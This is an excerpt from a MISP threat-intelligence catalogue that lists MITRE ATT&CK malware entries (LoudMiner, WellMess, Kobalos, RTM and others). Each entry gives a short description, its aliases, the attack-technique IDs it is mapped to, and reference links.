[LoudMiner](https://attack.mitre.org/software/S0451) is a cryptocurrency miner which uses virtualization software to siphon system resources. The miner has been bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.(Citation: ESET LoudMiner June 2019)

The tag is: *misp-galaxy:mitre-malware="LoudMiner - S0451"*

LoudMiner - S0451 is also known as:

- LoudMiner

View relationships graph

LoudMiner - S0451 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launchctl - T1569.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Run Virtual Instance - T1564.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 5421. Table References

Links
https://attack.mitre.org/software/S0451
https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/

WellMess - S0514

[WellMess](https://attack.mitre.org/software/S0514) is lightweight malware family with variants written in .NET and Golang that has been in use since at least 2018 by [APT29](https://attack.mitre.org/groups/G0016).(Citation: CISA WellMess July 2020)(Citation: PWC

WellMess July 2020)(Citation: NCSC APT29 July 2020)

The tag is: *misp-galaxy:mitre-malware="WellMess - S0514"*

WellMess - S0514 is also known as:

- WellMess

View relationships graph

WellMess - S0514 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 5422. Table References

Links
https://attack.mitre.org/software/S0514
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf
https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html

TEXTMATE - S0146

[TEXTMATE](https://attack.mitre.org/software/S0146) is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with [POWERSOURCE](https://attack.mitre.org/software/S0145) in February 2017. (Citation: FireEye FIN7 March 2017)

The tag is: *misp-galaxy:mitre-malware="TEXTMATE - S0146"*

TEXTMATE - S0146 is also known as:

- TEXTMATE
- DNSMessenger

View relationships graph

TEXTMATE - S0146 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:rat="DNSMessenger" with estimative-language:likelihood-probability="likely"

Table 5423. Table References

Links
http://blog.talosintelligence.com/2017/03/dnsmessenger.html
https://attack.mitre.org/software/S0146
https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html

CostaBricks - S0614

[CostaBricks](https://attack.mitre.org/software/S0614) is a loader that was used to deploy 32-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign.(Citation: BlackBerry CostaRicto November 2020)

The tag is: *misp-galaxy:mitre-malware="CostaBricks - S0614"*

CostaBricks - S0614 is also known as:

- CostaBricks

View relationships graph

CostaBricks - S0614 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5424. Table References

Links
https://attack.mitre.org/software/S0614
https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced

SDBbot - S0461

[SDBbot](https://attack.mitre.org/software/S0461) is a backdoor with installer and loader components that has been used by [TA505](https://attack.mitre.org/groups/G0092) since at least 2019.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)

The tag is: *misp-galaxy:mitre-malware="SDBbot - S0461"*

SDBbot - S0461 is also known as:

- SDBbot

View relationships graph

SDBbot - S0461 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Application Shimming - T1546.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Image File Execution Options Injection - T1546.012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5425. Table References

Links
https://attack.mitre.org/software/S0461
https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/
https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader

RDFSNIFFER - S0416

[RDFSNIFFER](https://attack.mitre.org/software/S0416) is a module loaded by [BOOSTWRITE](https://attack.mitre.org/software/S0415) which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.(Citation: FireEye FIN7 Oct 2019)

The tag is: *misp-galaxy:mitre-malware="RDFSNIFFER - S0416"*

RDFSNIFFER - S0416 is also known as:

- RDFSNIFFER

View relationships graph

RDFSNIFFER - S0416 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"

Table 5426. Table References

Links
https://attack.mitre.org/software/S0416
https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html

TDTESS - S0164

[TDTESS](https://attack.mitre.org/software/S0164) is a 64-bit .NET binary backdoor used by [CopyKittens](https://attack.mitre.org/groups/G0052). (Citation: ClearSky Wilted Tulip July 2017)

The tag is: *misp-galaxy:mitre-malware="TDTESS - S0164"*

TDTESS - S0164 is also known as:

- TDTESS

View relationships graph

TDTESS - S0164 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-

language:likelihood-probability="almost-certain"

- similar: misp-galaxy:malpedia="TDTESS" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5427. Table References

Links
http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf
https://attack.mitre.org/software/S0164

Kobalos - S0641

[Kobalos](https://attack.mitre.org/software/S0641) is a multi-platform backdoor that can be used against Linux, FreeBSD, and Solaris. [Kobalos](https://attack.mitre.org/software/S0641) has been deployed against high profile targets, including high-performance computers, academic servers, an endpoint security vendor, and a large internet service provider; it has been found in Europe, North America, and Asia. [Kobalos](https://attack.mitre.org/software/S0641) was first identified in late 2019.(Citation: ESET Kobalos Feb 2021)(Citation: ESET Kobalos Jan 2021)

The tag is: *misp-galaxy:mitre-malware="Kobalos - S0641"*

Kobalos - S0641 is also known as:

- Kobalos

View relationships graph

Kobalos - S0641 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

Table 5428. Table References

Links
https://attack.mitre.org/software/S0641
https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/
https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf

GRIFFON - S0417

[GRIFFON](https://attack.mitre.org/software/S0417) is a JavaScript backdoor used by [FIN7](https://attack.mitre.org/groups/G0046). (Citation: SecureList Griffon May 2019)

The tag is: *misp-galaxy:mitre-malware="GRIFFON - S0417"*

GRIFFON - S0417 is also known as:

- GRIFFON

View relationships graph

GRIFFON - S0417 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5429. Table References

Links
https://attack.mitre.org/software/S0417
https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/

Pteranodon - S0147

[Pteranodon](https://attack.mitre.org/software/S0147) is a custom backdoor used by [Gamaredon Group](https://attack.mitre.org/groups/G0047). (Citation: Palo Alto Gamaredon Feb 2017)

The tag is: *misp-galaxy:mitre-malware="Pteranodon - S0147"*

Pteranodon - S0147 is also known as:

- Pteranodon
- Pterodo

View relationships graph

Pteranodon - S0147 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Pteranodon" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5430. Table References

Links
https://attack.mitre.org/software/S0147
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine
https://www.secureworks.com/research/threat-profiles/iron-tilden

build_downer - S0471

[build_downer](https://attack.mitre.org/software/S0471) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)

The tag is: *misp-galaxy:mitre-malware="build_downer - S0471"*

build_downer - S0471 is also known as:

- build_downer

View relationships graph

build_downer - S0471 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 5431. Table References

Links
https://attack.mitre.org/software/S0471
https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf

POWRUNER - S0184

[POWRUNER](https://attack.mitre.org/software/S0184) is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)

The tag is: *misp-galaxy:mitre-malware="POWRUNER - S0184"*

POWRUNER - S0184 is also known as:

- POWRUNER

View relationships graph

POWRUNER - S0184 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="POWRUNER" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5432. Table References

Links
https://attack.mitre.org/software/S0184
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html

ViceLeaker - S0418

[ViceLeaker](https://attack.mitre.org/software/S0418) is a spyware framework, capable of extensive surveillance and data exfiltration operations, primarily targeting devices belonging to Israeli citizens.(Citation: SecureList - ViceLeaker 2019)(Citation: Bitdefender - Triout 2018)

The tag is: *misp-galaxy:mitre-malware="ViceLeaker - S0418"*

ViceLeaker - S0418 is also known as:

- ViceLeaker
- Triout

View relationships graph

ViceLeaker - S0418 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1544" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"

Table 5433. Table References

Links
https://attack.mitre.org/software/S0418
https://labs.bitdefender.com/2018/08/triout-spyware-framework-for-android-with-extensive-surveillance-capabilities/
https://securelist.com/fanning-the-flames-viceleaker-operation/90877/

RTM - S0148

[RTM](https://attack.mitre.org/software/S0148) is custom malware written in Delphi. It is used by the group of the same name ([RTM](https://attack.mitre.org/groups/G0048)). Newer versions of the malware have been reported publicly as Redaman.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)

The tag is: *misp-galaxy:mitre-malware="RTM - S0148"*

RTM - S0148 is also known as:

- RTM
- Redaman

View relationships graph

RTM - S0148 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Access Software - T1219" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
